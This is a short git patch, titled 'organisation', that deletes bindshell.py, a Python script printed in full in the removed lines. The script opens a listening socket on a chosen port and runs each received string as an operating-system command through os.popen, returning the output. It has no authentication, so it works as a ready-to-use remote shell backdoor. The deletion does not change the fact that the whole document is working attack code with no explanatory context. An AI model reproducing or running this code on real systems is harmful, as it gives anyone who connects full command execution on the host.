From ba41fa46e69dbb264dfbed1b9fca5daab44a07c7 Mon Sep 17 00:00:00 2001 From: jerome Date: Sun, 12 Oct 2025 17:41:22 +0200 Subject: organisation --- bindshell.py | 31 ------------------------------- 1 file changed, 31 deletions(-) delete mode 100644 bindshell.py (limited to 'bindshell.py') diff --git a/bindshell.py b/bindshell.py deleted file mode 100644 index 5213002..0000000 --- a/bindshell.py +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env python - -import sys, os, socket - -def bindshell(port): - try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.bind(('',port)) - s.listen() - conn,addr = s.accept() - while 1: - data = conn.recv(1024) - reponse = os.popen(data.decode().strip()).read() - conn.sendall(str(reponse).encode()) - except KeyboardInterrupt: - s.close() - finally: - print("bye") - -if __name__ == "__main__": - try: - bindshell(int(sys.argv[1])) - except IndexError: - print(f"{sys.argv[0]} demande un port en agument") - - - - - - - -- cgit v1.2.3